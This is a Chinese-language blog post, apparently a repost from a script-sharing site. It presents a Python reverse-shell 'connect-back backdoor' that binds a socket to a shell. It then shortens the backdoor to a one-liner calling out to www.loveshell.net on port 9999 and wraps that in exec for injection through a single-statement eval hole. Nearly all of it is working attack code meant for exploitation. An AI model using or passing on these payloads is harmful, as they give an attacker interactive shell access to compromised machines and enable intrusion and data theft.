不知道怎麼忽然想看這個,呵呵
小我的python的反shell的代碼
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006/n"
print "Usage: %s <conn_back_host> <port>/n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------/n")
s.send("----------------------------- By wofeiwo -----------------------------/n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的時候不太好,不是麼?我們想要短點的,節省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master/r/n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?/r/n");os.system("/bin/bash");s.close();s.send("See u next time!/r/n");
如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當中,不能多語句(後面有解釋)那麼還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master//r//n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?//r//n");os.system("/bin/bash");s.close();s.send("See u next time!//r//n");';
注意是//r//n哦,即使在''裡好象/r/n一樣會成為換行,所以其實這裡即使不用;一樣可以構造好代碼的,另外,為什麼不用eval呢?
翻了下手冊
exec語句用來執行儲存在字串或檔案中的Python語句。例如,我們可以在運行時產生一個包含Python代碼的字串,然後使用exec語句執行這些語句
eval語句用來計算儲存在字串中的有效Python運算式
呵呵,這裡用eval好象會出錯.
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......
本文來自: 指令碼之家(www.jb51.net) 詳細出處參考:http://www.jb51.net/html/200708/97/11135.htm